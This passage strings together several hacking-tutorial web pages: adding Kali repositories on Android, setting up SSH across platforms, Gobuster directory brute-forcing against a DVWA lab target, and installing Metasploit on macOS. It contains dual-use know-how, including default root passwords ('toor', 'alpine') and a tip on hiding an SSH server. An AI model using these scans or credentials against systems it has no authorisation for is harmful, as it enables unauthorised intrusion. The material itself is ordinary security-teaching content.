convenient. IfVimor Emacs is preferred, download those text-editors instead (or in addition to nano).The above packages can be installed using theapt-getcommand.apt-get update && apt-get install net-tools netcat neofetch gnupg curl wget git nano screenStep 7: Import the Kali Linux Repository (Conditional)If you installed the Kali OS in Step 3, this step can be skipped. For Debian OS users, importing the Kali repository into your distribution isn't mandatory. However, doing so will allow for quick installations of applications such assqlmap,Commix, Bettercap,Nikto, dnsmap, and hundreds of packages that can't be found in Debian's default repositories.To start importing the Kali Linux repository, usenanoto add Kali's repository to the /etc/apt/sources.list file.nano /etc/apt/sources.listAdd the below line to the bottom of the file (shown below), then useCtrl+Xto exit and save the changes. ConnectBot has on-screen buttons for keys likeCtrlandShift. Alternatively, aBluetooth keyboardor theHacker's Keyboardapp will come in handy for exiting the nano terminal.deb http://http.kali.org/kali kali-rolling main contrib non-freeThen, add the Kali signing key using the followingwgetcommand.wget -q -O - https://www.kali.org/archive-key.asc | apt-key add -If the command was successful, the terminal will return "OK" (shown below). Finally, update the APT cache using theapt-get updatecommand.root@localhost:/home/distortion# wget -q -O - https://www.kali.org/archive-key.asc | apt-key add - OK root@localhost:/home/distortion# apt-get update Ign:1 http://cdn-fastly.deb.debian.org/debian stable InRelease Hit:3 http://cdn-fastly.deb.debian.org/debian stable-updates InRelease Hit:4 http://cdn-fastly.deb.debian.org/debian stable Release Ign:2 http://ftp.halifax.rwth-aachen.de/kali kali-rolling InRelease Get:6 http://ftp.acc.umu.se/mirror/kali.org/kali kali-rolling Release [29.6 kB] Get:7 http://ftp.acc.umu.se/mirror/kali.org/kali kali-rolling Release.gpg [833 B] Get:8 http://ftp.acc.umu.se/mirror/kali.org/kali kali-rolling/main arm64 Packages [16.4 MB] 64% [8 Packages 9415 kB/16.4 MB 57%] 546 kB/s 13sDon't Miss:How to Create an Undetectable PayloadMore Weaponized Android Coming SoonWith UserLAnd, turning Android's into hacking devices is easy. While Android is slower at processing data thanRaspberry Pis, it still makes a great, easily concealed offensive tool capable of running Kali software.In upcoming articles, I'll show how to hack websites,Wi-Fi passwords, andWindows 10using only Kali on Android. If you have any requests for Kali software you'd like to see running in Android, be sure to leave a comment below.Next Up:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootFollow Null Byte onTwitter,Flipboard, andYouTubeSign up forNull Byte's weekly newsletterFollow WonderHowTo onFacebook,Twitter,Pinterest, andFlipboardWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover photo and screenshots by distortion/Null ByteRelatedNews:Linux Kernel Exploits Aren't Really an Android ProblemHow To:Get Android Pay Working on a Rooted DeviceHow To:Broken Buttons on Your Android Phone? Use This On-Screen Navigation Bar Instead (No Root Needed)How to Root Android:Our Always-Updated Rooting Guide for Major Phone ModelsHow To:Turn Off Your Android's Screen with Your Fingerprint ScannerHow To:Save Battery Life by Activating Doze Mode Faster on Android MarshmallowHow To:USB Tether Your Android Device to Your Mac—Without RootingNews:Chrysaor Malware Found on Android Devices—Here's What You Should Know & How to Protect YourselfHow To:Root the Nexus 6P or Nexus 5X on Windows, Mac, or Linux—The Foolproof GuideAndroid Basics:What Is Root?How To:New to Android? Here's How to Get Started & Get the Most Out of Your DeviceHow To:Having Connection Issues on Android Pie? Turn Off 'Turn on Wi-Fi Automatically'Android Basics:How to Root with CF Auto RootHow To:What's Draining Your Android's Battery? Find Out & Fix It for GoodIt's Official:Pixel Phones from the Google Store Will Be Rootable with Unlockable BootloadersHow To:Get Samsung's Battery-Saving Grayscale Mode on Your AndroidHow To:Enable Free WiFi Tethering on Android MarshmallowHow To:1-Click Root Many Android Devices with Kingo Android RootHow To:Boldbeast Lets You Record Calls on Any Android Phone — with or Without RootTell Your Friends:How to Protect Yourself from Android's Biggest Security Flaw in YearsNews:Have an NFC-Enable Phone? This Hack Could Hijack ItHow To:Use Your Android as a Hacking Platform:Part 1 Getting Your Android Ready.How To:Make Android 10's Dark Mode Turn on Automatically at SunsetHow To:The Easiest Way to Get iPhone Emojis on Your Android DeviceHow To:Get iPhone Emojis on Your HTC or Samsung Device (No Root Needed)How To:Hack Android Using Kali (Remotely)Hack Like a Pro:How to Create a Smartphone Pentesting LabHow To:Turn Your Phone's Screen On Just by WavingNews:4 Ways the OnePlus 6T Makes Rooting EasyHow To:9 Ways to Lock Your Android Without Using the Power ButtonHow To:Get the New Android 6.0 Marshmallow Boot Animation on Any Android DeviceHow To:Fix Deep Sleep Issues Caused by Rooting Your Galaxy S6News:4 Reasons the OnePlus 5T Is the Best Phone for Rooting & Modding in 2018News:Google's Pixel Phone Is Taking All the Fun Out of Android, and That's the PointHow To:6 Easy Ways to Increase Battery Life on Your Android DeviceHow To:Use Your Rooted Phone to Root Another PhoneNews:Always-Updated List of Android 10 Custom ROMs for Every Major PhoneNews:Another Security Concern from OnePlus — Backdoor Root App Comes Preinstalled on Millions of PhonesHow To:Root Your Google Pixel or Pixel XLHow To:Use Smart Switch to Update Your Galaxy S6—Even It's Rooted
SSH the World: Mac, Linux, Windows, iDevices and Android. « Null Byte :: WonderHowTo
Probably SSH is not as clean and fast as other useful tools like netcat, but it has some features which are very useful, and when you'll need them, here's how to behave with that huge amount of computers all over your house.Probably, you already know what SSH means, but for those who don't:SSH stands for Secure Shell and is the smarter and safer version of telnet.Secure means that this network protocol makes use of cryptography, so that SSH servers and clients communicate trough a secure channel.SSH is mostly used in an Unix context, however running it on Windows can be very useful.Obviously, SSH is powerful when you have physical access to the computer when talking about offensive, but always very reliable when talking about defense, so let's say it's an important piece of knowledge in security awareness field.For example, you may want to use SSH to have an authentication process instead of netcat (that's not going to happen any time soon, right?) or, since SSH clients are very smart and useful, easily transfer files and browse them as you mounted the server on your desktop.I also noticed that Alex Long here on Null Byte gave a lot of interesting uses of SSH, so, go check those how-tos if you want more.Basic SyntaxUnix-like OSes usually make use of SSH by default.The connection works like this:-A SSH server is started on machine 1-A SSH client is started on machine 2-The client tries to connect-The server asks to authenticate-Client provides username and password-The connection is established and the client has root (or limited) access to the server-The client is greated with a System Shell on the serverGenerally the basic syntax to connect to a SSH server isssh user@ipaddress portinsert password:passwordWhere port is 22 by default, in most cases.Generally the password is the user or admin password.Let's give a closer look.Setup Server and Client on LinuxAs today, most linux distributions have SSH installed by default.In the example, we are using (well, that's kinda obvious) Kali Linux distribution.To start the server you need to run the following command:service /etc/init.d/ssh startorservice ssh startservice ssh stopto stop the serverservice ssh restartto restart the server(or the aforementioned path instead of ssh)To login to a SSH server:ssh user@ipaddress eventualportAn example of each command is given in the picture below:in the picture I connected to a Macbook which username was "user"Eventually, the first time you connect Linux will ask you if you want to continue connecting. This is not random, be sure that you know what are you doing.As you can see, the result is the terminal line, where we can run any Mac Unix Terminal command directly on he server, just like we were sitting in front of it.Suppose you don't have SSH (the server part, Unix has terminal client by default). How to install it?As you can see in the picture above, the SSH server is an OpenBSD distribution, which SSH service is called OpenSSH. You can download it from here:http://www.openssh.comor use apt-get.apt-get install openssh-serverand you need the client too:apt-get install openssh-clientIf you are running a Kali Linux Live OS the password for a Live Boot is "toor", else you have to use the sudo password.Here's how it looks like to login in Linux SSH from a Mac terminal:in the picture, the username on Linux distribution I had is "root"Setup Server and Client on Mac OSXOn Mac, the setup part is much much simpler, go toSystem Preferences->Sharingand enable remote login.Logging in and from Mac pictures are shown in the above section.Setup Server and Client on WindowsAs you may have understood, SSh is not built in windows by default, nor will be any time soon, but we have plenty of ways to install SSH servers and clients on Windows. You will probably recognize "Putty", as shown in some previous how-tos.NOTE: I personally tried those two methods, and I'll tell below where I succeeded and where I failed. However, it does not mean that this is safe. I'm not saying that this is not, but I quite like disclaimers, you never know.Back on Track (ehm ehm, was this the joke?), I recommend those two ways to setup a SSH server on Windows: FreeSSHd and OpenSSH port, but I'm only posting the first one as it is the only one that worked for me and the port seems very confusing and annoying to setup. If you have Cygwin you can run the ssh server with no problems.FreeSSHd has a GUI, but it aims to be quite hidden.Download it at:http://www.freesshd.com/?ctt=download(as always, be sure that nobody is eavesdropping on you and that the site is still being legit!).Once you downloaded the freesshd.exe (installer), run it and go trough all the installation process.This is what you'll get:At first, you don't have that little icon at the bottom right of the taskbar.Once you run FressSSHd (here I have it on the desktop, but calling it by a batch script would be very cool), the little icon in the taskbar appears (again, you can hide that, to be even more stealth). If you click that, the GUI will show, something that looks like this:Go in the "authentication" tab and make sure you check:Password authentication: requiredPublic key authentication: disabledAfter doing this, go to "Users" and click on Add:In the "Login" field write the username we'll use to connect to the server.In the Authorization menu choose "Password stored as SHA1 hash".In the "Password" field write the password we'll use to connect later to the server.Make sure you check all the three checkbox, but again: always make sure nobody is eavesdropping or MITMing on you!Then login like shown multiple times above.To shutdown the server, simply right click on the little icon and "unmount".Here comes the client part.Download Putty from here (I think you got the disclaimer part):http://www.chiark.greenend.org.uk/~sgtatham/putty/download.htmlaccording to your windows version.Once downloaded you can run the exe straight forward, this is the GUI:I can say that this looks very nice and has tons of features, you'll enjoy it.We are going to use SSH (Connection Type check box), but as you can see, it has more types.Enter the ip address of the server in "Host Name" field, then click Open.Enter the username and password:logging in the same Mac as before, where username is "user"There you go!iDevicesThis saved the life of my iPhone many times.If you have a jailbroken iDevice, you MUST have SSH access to it.Generally OpenSSH is installed by Cydia when running it for the first time, but not always.You can download OpenSSH by Cydia searching "Openssh", install the one from Telesphoreo Repo. Once installed, respring and it will always be running in background. Again, make sure you are completely safe, I don't have responsibility for what could happen if you install OpenSSH. You can login like this:ssh root@ipaddresswith default password "alpine".And you can login in SSH servers with the "Mobile terminal application", which provides thesshcommand.AndroidIf you are rooted, for this purpose you can use "SSH Server" and "JuiceSSH" respectively as server and client.SSH BrowsersIf you still want to know more, there are some programs which actually let you browse the files on the SSH server, practically "mounting" them, making downloading and uploading very easy.Some examples are WinScp (Windows), CyberDuck (Mac), Nautilus (Linux) and, when speaking about iDevices, iFunbox (Mac but no SSH client, Windows, you can manage to let it work on Linux too).I can't spend too many words on this, these programs are many but they work the same as seen before with Putty more or less, it's just a matter of GUI and even easier operations.If you really need to know more about one of those programs, tell me in the comments and I'll edit the post, but now you should have enough knowledge about the topic to make things work properly.After NotesSo, you can obviously do this in Wan too, you just have to open the port 22 (by default) or the one you chose on your router (if you need specific help, feel free to ask).EDIT: As CyberHitchHiker suggested, you should always change the port ,when possible, to something above 1000.Today, experts may have noticed, I only talked about authentication trough password, which I think is enough, although there's another way to authenticate, with public keys, so if you want to know more just ask in the comments.I strongly recommend you to always change default passwords (e.g. "alpine", which is a terrible error not to change) and always choose a very strong password if you are thinking to open you server to the wan. Follow OTW's recent demonstrations about how easy password cracking is, and also his advices on how to protect yourself from these attacks.I'm very sorry for any eventual mistake I made in terms of grammar or concepts, please tell me if you found any, thanks.Also, tell me if it'd be useful to have a cross platform GNU compiler how-to, I'll be pleasured to write it down.Thanks for reading!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedRasberry Pi:Connecting on ComputerHow To:Run Your Favorite Graphical X Applications Over SSHHow To:Install the Android M Preview on Your Nexus Device (Using Mac or Linux)How To:Enable the New Native SSH Client on Windows 10How To:Boot Linux from Your Android onto Any Mac or PCHow To:Auto-Hide the Navigation Bar on Your Galaxy S10 — No Root NeededHow To:Disable Heads Up Notifications on Any Android — No Root NeededHow To:Share Your LAN Minecraft World with Your Linux-Savvy FriendsHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 15 (Creating a Secure Tunnel to MySQL)Hacking Windows 10:How to Use SSH Tunnels to Forward Requests & Hack Remote RoutersHow To:Build a Beginner Hacking Kit with the Raspberry Pi 3 Model B+How To:Jailbreak iOS 7 on Your iPad, iPhone, or iPod Touch Using evasi0n7How To:Rooted Android = Your New PenTesting ToolHow To:Load Kali Linux on the Raspberry Pi 4 for the Ultimate Miniature Hacking StationHow To:Set Up a Headless Raspberry Pi Hacking Platform Running Kali LinuxHow To:Install the ElementalX Custom Kernel on Your Pixel or Pixel XLHow To:Install Android Q Beta on Your Essential PhoneAndroid for Hackers:How to Turn an Android Phone into a Hacking Device Without RootHow To:Create a Native SSH Server on Your Windows 10 SystemHow To:Root the Nexus 6P or Nexus 5X on Windows, Mac, or Linux—The Foolproof GuideHow To:Create a Free SSH Account on Shellmix to Use as a Webhost & MoreHow To:Remotely Control Computers Over VNC Securely with SSHHow To:Safely Log In to Your SSH Account Without a PasswordHow To:Stream Media to a PS3 or Xbox 360 from Mac & Linux ComputersNews:Complete Arch Linux Installation, Part 1: Install & Configure ArchHow To:Encrypt your Skype Messages to Thwart Snooping Eyes Using PidginHow To:Chain VPNs for Complete AnonymityHow To:Push and Pull Remote Files Securely Over SSH with PipesHow To:Create an SSH Tunnel Server and Client in LinuxNews:Look at My Linux Desktop... Then Look at Your Windows/Mac DesktopsMinecraft:Pocket Edition App Now Available in the Android MarketHow To:Run Windows from Inside LinuxHow To:[HowTo] Downgrade Firefox to older version in Windows,Linux and MacHow To:Back Up Your Infinity Blade II CharacterHow To:Mask Your IP Address and Remain Anonymous with OpenVPN for LinuxHow To:Get Free Wi-Fi from Hotels & MoreHow To:Use All Your Instant Messenger Accounts At OnceNews:Free Linux & Android Support ForumHow To:Use Cygwin to Run Linux Apps on Windows
How to Scan Websites for Interesting Directories & Files with Gobuster « Null Byte :: WonderHowTo
One of the first steps in attacking aweb applicationis enumerating hidden directories and files. Doing so can often yield valuable information that makes it easier to execute a precise attack, leaving less room for errors and wasted time. There are many tools available to do this, but not all of them are created equally. Gobuster, a directory scanner written inGo, is definitely worth exploring.Traditional directorybrute-forcescanners likeDirBusterandDIRBwork just fine, but can often be slow and prone to errors.Gobusteris a Go implementation of these tools and is offered in a convenient command-line format.The main advantage Gobuster has over other directory scanners is speed. As a programming language, Go is known to be fast. It also has excellent support forconcurrencyso that Gobuster can take advantage of multiple threads for faster processing.The one downfall of Gobuster, though, is the lack ofrecursivedirectory searching. For directories more than one level deep, another scan will be needed, unfortunately. Often this isn't that big of a deal, and other scanners can step up and fill in the gaps for Gobuster in this area.Don't Miss:Use Websploit to Scan Websites for Hidden DirectoriesGobuster offers a simple command-line interface that just works. It has some useful options, but not so many that it's easy to get bogged down in the details. All in all, it's a great tool that is effective and fast. In this tutorial, we'll be exploring it withDVWA(Damn Vulnerable Web App) as the target andKali Linuxas the attacking machine. You can follow along with those or use a similar testing configuration.Step 1: Install GobusterThe first thing we can do iscreate a working directoryto keep things neat, thenchangeinto it.~# mkdir gobuster ~# cd gobuster/Next, we need to install Gobuster since it is not included on Kali by default.~/gobuster# apt-get install gobuster Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: gobuster 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B/1,532 kB of archives. After this operation, 4,963 kB of additional disk space will be used. Selecting previously unselected package gobuster. (Reading database ... 412624 files and directories currently installed.) Preparing to unpack .../gobuster_2.0.1-1_amd64.deb ... Unpacking gobuster (2.0.1-1) ... Setting up gobuster (2.0.1-1) ... Processing triggers for man-db (2.8.5-2) ...Then, simply typegobusterin the terminal to run the tool.~/gobuster# gobuster 2019/05/06 11:43:08 [!] 2 errors occurred: * WordList (-w): Must be specified (use `-w -` for stdin) * Url/Domain (-u): Must be specifiedWe can see it gives us a couple of errors. It needs at least two parameters (-ufor the URL, and-wfor the wordlist) to run properly. We can also display the help menu with the-hflag.~/gobuster# gobuster -h Usage of gobuster: -P string Password for Basic Auth (dir mode only) -U string Username for Basic Auth (dir mode only) -a string Set the User-Agent string (dir mode only) -c string Cookies to use for the requests (dir mode only) -cn Show CNAME records (dns mode only, cannot be used with '-i' option) -e Expanded mode, print full URLs -f Append a forward-slash to each directory request (dir mode only) -fw Force continued operation when wildcard found -i Show IP addresses (dns mode only) -k Skip SSL certificate verification -l Include the length of the body in the output (dir mode only) -m string Directory/File mode (dir) or DNS mode (dns) (default "dir") -n Don't print status codes -np Don't display progress -o string Output file to write results to (defaults to stdout) -p string Proxy to use for requests [http(s)://host:port] (dir mode only) -q Don't print the banner and other noise -r Follow redirects -s string Positive status codes (dir mode only) (default "200,204,301,302,307,403") -t int Number of concurrent threads (default 10) -to duration HTTP Timeout in seconds (dir mode only) (default 10s) -u string The target URL or Domain -v Verbose output (errors) -w string Path to the wordlist -x string File extension(s) to search for (dir mode only)Step 2: Install Some Extra WordlistsWordlistson Kali are located in the/usr/share/wordlistsdirectory.~/gobuster# ls /usr/share/wordlists/ dirb dirbuster dnsmap.txt fasttrack.txt fern-wifi metasploit nmap.lst rockyou.txt.gz sqlmap.txt wfuzzThe dirb and dirbuster ones are fine, but there is another wordlist I like to use for directory brute-forcing. There is a whole repository of useful wordlists on GitHub calledSecLists.The "common.txt" wordlist contains a good number of common directory names.We can download the raw file into our current directory using thewgetutility.~/gobuster# wget https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt --2019-05-06 11:46:40-- https://raw.githubusercontent.com/danielmiessler/SecLists/master/Discovery/Web-Content/common.txt Resolving raw.githubusercontent.com (raw.githubusercontent.com)... 151.101.148.133 Connecting to raw.githubusercontent.com (raw.githubusercontent.com)|151.101.148.133|:443... connected. HTTP request sent, awaiting response... 200 OK Length: 35744 (35K) [text/plain] Saving to: ‘common.txt’ common.txt 100%[======================================================================================================================>] 34.91K --.-KB/s in 0.03s 2019-05-06 11:46:40 (1.24 MB/s) - ‘common.txt’ saved [35744/35744]Alternatively, if we wanted to install the whole SecLists repository, we can do so with thepackage manager.~/gobuster# apt-get install seclists Reading package lists... Done Building dependency tree Reading state information... Done The following NEW packages will be installed: seclists 0 upgraded, 1 newly installed, 0 to remove and 0 not upgraded. Need to get 0 B/221 MB of archives. After this operation, 795 MB of additional disk space will be used. Selecting previously unselected package seclists. (Reading database ... 412629 files and directories currently installed.) Preparing to unpack .../seclists_2019.1-0kali1_all.deb ... Unpacking seclists (2019.1-0kali1) ... Setting up seclists (2019.1-0kali1) ...That will install the entirety of SecLists in the/usr/sharedirectory. It contains a ton of content, and if you're looking for a go-to set of wordlists, SecLists will likely be the last thing you'll ever need./usr/share/seclists# ls Discovery Fuzzing IOCs Miscellaneous Passwords Pattern-Matching Payloads README.md Usernames Web-ShellsStep 3: Scan Directories & FilesNow that everything is set up and installed, we're ready to use Gobuster. Let's run it against our target with the default parameters.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.0.50/dvwa/ [+] Threads : 10 [+] Wordlist : common.txt [+] Status codes : 200,204,301,302,307,403 [+] Timeout : 10s ===================================================== 2019/05/06 11:50:25 Starting gobuster ===================================================== /.htaccess (Status: 403) /.htpasswd (Status: 403) /.hta (Status: 403) /README (Status: 200) /config (Status: 301) /docs (Status: 301) /about (Status: 302) /external (Status: 301) /favicon.ico (Status: 200) /cmd (Status: 200) /index (Status: 302) /index.php (Status: 302) /php.ini (Status: 200) /instructions (Status: 302) /logout (Status: 302) /robots (Status: 200) /robots.txt (Status: 200) /login (Status: 200) /phpinfo (Status: 302) /phpinfo.php (Status: 302) /setup (Status: 200) /security (Status: 302) ===================================================== 2019/05/06 11:50:38 Finished =====================================================We can see it gives us some information about the tool in the banner, and then it kicks off the directory discovery process. It returns the names of the directories and files as well as theirstatus codes.We can have it return the length of the body with the-lflag, which can be useful for enumeration.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt -l ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.0.50/dvwa/ [+] Threads : 10 [+] Wordlist : common.txt [+] Status codes : 200,204,301,302,307,403 [+] Show length : true [+] Timeout : 10s ===================================================== 2019/05/06 11:52:41 Starting gobuster ===================================================== /.hta (Status: 403) [Size: 292] /.htaccess (Status: 403) [Size: 297] /.htpasswd (Status: 403) [Size: 297] /README (Status: 200) [Size: 4934] /config (Status: 301) [Size: 319] /docs (Status: 301) [Size: 317] /external (Status: 301) [Size: 321] /favicon.ico (Status: 200) [Size: 1406] 2019/05/06 11:52:52 [!] Get http://10.10.0.50/dvwa/about: net/http: request canceled (Client.Timeout exceeded while awaiting headers) /php.ini (Status: 200) [Size: 148] 2019/05/06 11:52:54 [!] Get http://10.10.0.50/dvwa/cmd: net/http: request canceled (Client.Timeout exceeded while awaiting headers) /robots (Status: 200) [Size: 26] /robots.txt (Status: 200) [Size: 26] 2019/05/06 11:52:59 [!] Get http://10.10.0.50/dvwa/index: net/http: request canceled (Client.Timeout exceeded while awaiting headers) 2019/05/06 11:52:59 [!] Get http://10.10.0.50/dvwa/index.php: net/http: request canceled (Client.Timeout exceeded while awaiting headers) 2019/05/06 11:52:59 [!] Get http://10.10.0.50/dvwa/instructions: net/http: request canceled (Client.Timeout exceeded while awaiting headers) 2019/05/06 11:53:00 [!] Get http://10.10.0.50/dvwa/login: net/http: request canceled (Client.Timeout exceeded while awaiting headers) 2019/05/06 11:53:00 [!] Get http://10.10.0.50/dvwa/logout: net/http: request canceled (Client.Timeout exceeded while awaiting headers) /phpinfo.php (Status: 302) [Size: 0] /phpinfo (Status: 302) [Size: 0] /security (Status: 302) [Size: 0] /setup (Status: 200) [Size: 3549] ===================================================== 2019/05/06 11:53:01 Finished =====================================================Usually, if something is zero bytes, it isn't even worth looking into. It can save loads of time, especially when dealing with a large website or a large number of directories. If we only want specific status codes to be displayed, we can do that using the-sflag followed by the code we want.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt -s 200 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.0.50/dvwa/ [+] Threads : 10 [+] Wordlist : common.txt [+] Status codes : 200 [+] Timeout : 10s ===================================================== 2019/05/06 11:54:16 Starting gobuster ===================================================== /README (Status: 200) /favicon.ico (Status: 200) /cmd (Status: 200) /php.ini (Status: 200) /login (Status: 200) /robots (Status: 200) /robots.txt (Status: 200) /setup (Status: 200) ===================================================== 2019/05/06 11:54:27 Finished =====================================================Use commas to specify multiple codes.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt -s 200,301 ===================================================== Gobuster v2.0.1 OJ Reeves (@TheColonial) ===================================================== [+] Mode : dir [+] Url/Domain : http://10.10.0.50/dvwa/ [+] Threads : 10 [+] Wordlist : common.txt [+] Status codes : 200,301 [+] Timeout : 10s ===================================================== 2019/05/06 11:54:58 Starting gobuster ===================================================== /README (Status: 200) /config (Status: 301) /docs (Status: 301) /external (Status: 301) /favicon.ico (Status: 200) /cmd (Status: 200) /php.ini (Status: 200) /login (Status: 200) /robots (Status: 200) /robots.txt (Status: 200) /setup (Status: 200) ===================================================== 2019/05/06 11:55:10 Finished =====================================================Let's say we just wanted a quick way to view the directories, without the extra noise of the banner and status codes. Use the-qflag to hide the banner, and the-nflag to hide the status codes.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt -q -n /.hta /.htpasswd /.htaccess /README /config /docs /external /favicon.ico /about /cmd /php.ini /index /index.php /instructions /logout /robots /robots.txt /login /phpinfo.php /phpinfo /setup /securityAnother useful feature is the ability to save the results to a file. Use the-oflag to specify the output file.~/gobuster# gobuster -u http://10.10.0.50/dvwa/ -w common.txt -o resultsNow the results are saved and can be viewed at a later time.~/gobuster# cat results /.hta (Status: 403) /.htaccess (Status: 403) /.htpasswd (Status: 403) /README (Status: 200) /config (Status: 301) /docs (Status: 301) /external (Status: 301) /favicon.ico (Status: 200) /about (Status: 302) /cmd (Status: 200) /php.ini (Status: 200) /instructions (Status: 302) /index (Status: 302) /logout (Status: 302) /index.php (Status: 302) /login (Status: 200) /robots (Status: 200) /robots.txt (Status: 200) /phpinfo (Status: 302) /phpinfo.php (Status: 302) /security (Status: 302) /setup (Status: 200)Wrapping UpIn this tutorial, we learned about Gobuster, a directory brute-force scanner written inthe Go programming language. First, we learned how to install the tool, as well as some useful wordlists not found on Kali by default. Next, we ran it against our target and explored some of the various options it ships with. The bottom line: Gobuster is a fast and powerful directory scanner that should be an essential part of any hacker's repertoire, and now you know how to use it. Go!Don't Miss:Punchabunch Just Made SSH Local Forwarding Stupid EasyWant to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseCover image byPixabay/Pexels; Screenshots by drd_/Null ByteRelatedHow To:Find Hidden Web Directories with DirsearchHow To:Use Websploit to Scan Websites for Hidden DirectoriesHack Like a Pro:How to Find Directories in Websites Using DirBusterHow To:Anti-Virus in Kali LinuxHack Like a Pro:Metasploit for the Aspiring Hacker, Part 10 (Finding Deleted Webpages)Hack Like a Pro:How to Find Website Vulnerabilities Using WiktoHow To:Detect Vulnerabilities in a Web Application with UniscanHow To:Discover & Attack Services on Web Apps or Networks with SpartaHow To:Perform Directory Traversal & Extract Sensitive InformationHack Like a Pro:How to Hack Web Apps, Part 7 (Finding Hidden Objects with DIRB)Android for Hackers:How to Scan Websites for Vulnerabilities Using an Android Phone Without RootHow To:Use Metasploit's WMAP Module to Scan Web Applications for Common VulnerabilitiesHow To:Conduct Recon on a Web Target with Python ToolsHack Like a Pro:How to Scan the Internet for Heartbleed VulnerabilitiesHow To:Hack Apache Tomcat via Malicious WAR File UploadHow To:Scan for Vulnerabilities on Any Website Using NiktoHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 21 (GRUB Bootloader)How To:Build a Directory Brute Forcing Tool in PythonHow To:Detect Misconfigurations in 'Anonymous' Dark Web Sites with OnionScanHow To:Improve Battery Life on Android by Optimizing Your Media ScannerHack Like a Pro:Linux Basics for the Aspiring Hacker, Part 2 (Creating Directories & Files)How To:How Hackers Use Your IP Address to Hack Your Computer & How to Stop ItHow To:Scan for Viruses in Windows Using a Linux Live CD/USBNews:First Steps of Compiling a Program in LinuxHow To:Download and Install the Minecraft 1.8 Pre-ReleaseGoodnight Byte:HackThisSite Walkthrough, Part 10 - Legal Hacker TrainingCommunity Contest:Code the Best Hacking Tool, Win Bragging RightsGoodnight Byte:HackThisSite Walkthrough, Part 6 - Legal Hacker TrainingGoodnight Byte:HackThisSite Walkthrough, Part 8 - Legal Hacker TrainingCongress:The Law MakersHow To:Recover Deleted Files in LinuxHow To:Start With Site Setting For Snoft Article Directory ScriptGoogle Dorking:AmIDoinItRite?Rainbow Tables:How to Create & Use Them to Crack PasswordsHack Logs and Linux Commands:What's Going On Here?News:"How To Make Compost" Zine (Download)How To:Install "Incompatible" Firefox Add-Ons After Upgrading to the New Firefox
Mac for Hackers: How to Install the Metasploit Framework « Null Byte :: WonderHowTo
Metasploitis an extremely popular pentesting tool capable of enumeration, exploitation, and injecting shell code, and is a part of almost every hacking toolkit. So there's no way I could leave this out of our series ongetting your Mac set up for hacking.Luckily for those of us who use Apple machines, the install process is much less time-consuming than it used to be. Just a couple of years ago, I would have had to download all the required pieces and configure them manually. Now, the Metasploit Framework has an install package for macOS (previously called Mac OS X).Of course, we could use the Metasploit that's inour Kali Linux VM we just installed, but I generally only use Kali when a tool is unavailable for Macs, such as Aircrack-ng. Plus, running tools directly on your main operating system is generally faster and easier than running them in a virtual machine.Previously:How to Install Kali Linux as a Virtual MachineStep 1: Download the Metasploit Framework InstallerOur fist step is to download the Metasploit installer package fromRapid7.There are different editions, such as Pro, Express, Community, and Framework. Express costs$5,000, and Pro about 6 times that, and it's probably safe to say most of us don't have that kind of cash lying around. While the Community edition is free, we want the command-line interface, Metasploit Framework.To save you some time,here is the download for Mac. Once it has downloaded, open the package and follow the directions in the installer. You will be prompted to enter your password.Step 2: Configure MetasploitNow we will need to configure Metasploit. Opena terminal windowand change directories to the folder containing msfconsole (the main interface for the Metasploit Framework):cd /opt/metasploit-framework/bin/Next, run msfconsole with the command:./msfconsoleThe first question asks if you want to add/opt/metasploit-framework/binto your path. Select yes, so you can execute msf commands from any working directory.Next, you will be asked if you want to set up a new database. Installing the database will allow us to list credentials, list hosts, and more—which is what we want.Once the database is set up, msfconsole will drop you into the msfconsole! The install is complete.Now let's check to see if the database is working:db_statusAs we can see, the database is connected and working.Don't Miss:Exploring the Inner Architecture of MetasploitStep 3: Update MetasploitBefore diving intothe basics of Metasploit, let's make sure it's up to date first. In a terminal window, execute the command:msfupdateYou will be prompted for your root password. Once given, Metasploit will update.Now Get Hacking!Installing Metasploit on macOS has never been easier. With Metasploit installed and running, you should be able to get hacking right away, so make sure to search here on Null Byte for some good guides that use msfconsole. We'vegot plenty to keep you occupiedfor a long time.Installing many other hacking tools on macOS is also a cinch—the inclusion of Ruby and Python with the OS really help with this. But it's not only the languages, having a POSIX-compliant backend means that porting software from Linux to Mac is easier. Apple products seem to have become more popular with developers and IT professionals, and the more IT professionals using them, the more ports we'll see!Next Up:How to Organize Your Tools by Pentest StagesFollow Null Byte 